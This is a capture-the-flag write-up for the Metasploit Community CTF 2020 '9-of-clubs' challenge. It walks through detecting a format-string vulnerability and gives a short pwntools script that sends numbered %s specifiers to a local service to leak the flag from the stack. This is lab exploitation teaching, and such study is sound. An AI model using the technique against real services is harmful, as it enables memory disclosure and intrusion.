Metasploit Community CTF 2020 (Dec) Write-up: 9-of-clubs (port 1337)
This fun little challenge was solved by our binary exploitation expert: benything.

This fun little challenge was solved by our binary exploitation expert: benything.
Summary
The 9-of-clubs challenge is remote binary exploitation challenge. It features a basic command line application that can be exploited using format strings.
Walk-through
The application presents us with 3 options that all accept user input:

The 9 of clubs service
We can detect if the application is vulnerable to a format strings attack by sending a format specifier, %x
%s
%d
etc. , and seeing if it is interpreted. One of the easiest is %x
that will print the memory as an Unsigned hexadecimal integer. Using this on the 2nd options returns some hexadecimal output, bingo.

Test showing successful interpretation of a format specifier
We can now spam lots of %x
to view what’s in memory

Some of these are the variables stored on the stack, and some memory addresses that point to other variables. The repeated section of 25 78 20
are our %x
’s represented in hex.
Rather than entering lots of specifiers we can use specifiers that request a numbered argument such as %2$x
. We can also replace our safe %x
with %s
in order to print out the string found at the memory location specified. This is known as dereferencing a pointer.
We can create a little pwntools script to iterate over the memory and print out any strings it finds
from pwn import *
def attack(num):
try:
p = remote('127.0.0.1',1337)
p.recvuntil('Exit\n')
p.sendline('2')
p.recvuntil('name...\n')
# Create format string specifier like '%3$s'
p.sendline('%'+str(num)+'$s')
# Get the reponse, containing derefrenced string
resp = p.recvline()
p.close()
return resp
except:
return 'NULL'
for i in range(0,10):
print(i, attack(i))
This turned out to be overkill as we only need to print the 10th argument in order to receive the flag:

pwntools script getting the flag
Flag
Unfortunately as this is a binary challenge the actual flag isn’t shown, we are just given the md5:
b17ef17454081e89c084d5182d76c527
Other Challenges
Most of the other flags have been written up by my team-mate rushi and can be found here.